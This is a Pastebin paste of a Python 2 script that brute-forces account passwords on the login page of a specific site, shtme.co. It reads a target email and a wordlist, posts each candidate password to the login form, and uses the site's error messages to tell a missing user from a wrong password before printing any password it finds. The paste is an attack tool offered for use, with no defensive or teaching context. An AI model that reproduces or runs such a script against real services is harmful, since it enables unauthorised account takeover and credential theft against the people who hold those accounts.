Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from requests import post
- import sys
- def print_status(object):
- print object
- class conf():
- def __init__(self):
- print """
- [ shtme.io bruteforce account ]
- [ author : 407AEx ]
- [ coded by: Deray ]
- """
- self.inputUsers()
- self.inputs()
- def exception(self):
- t=raw_input("exit? y/n: ")
- if t !="y":
- raise self.inputUsers()
- else:
- sys.exit()
- def inputUsers(self):
- try:
- self.user=raw_input("- target email: ")
- except KeyboardInterrupt:
- self.exception()
- def inputs(self):
- list=raw_input("- wordlist : ")
- try:
- self.words=open(list).readlines()
- print_status("+ starting bruteforce ...")
- for x in self.words:
- self.pwd=x.split("\n")[0]
- self.uri="http://shtme.co/user/login"
- req_stats=post(self.uri,data={"user_email":self.user,"user_pwd":self.pwd,"submit":"masuk"}).text
- if 'No such user with this email!' in req_stats:
- print_status("* not found users with email: "+self.user)
- break
- elif "Password Salah!" in req_stats:
- print_status("- incorrect pass: "+self.pwd)
- else:
- print_status("-"*50)
- print_status("+ found password with email: %s"%(self.user))
- print_status("+ pass: "+self.pwd)
- print_status("-"*50)
- print_status("+ brutuforce finished.")
- sys.exit()
- print_status("+ brutuforce finished.")
- except Exception as memek:
- print_status("- "+str(memek))
- self.inputs()
- if __name__ == "__main__":
- try:
- conf()
- finally:sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment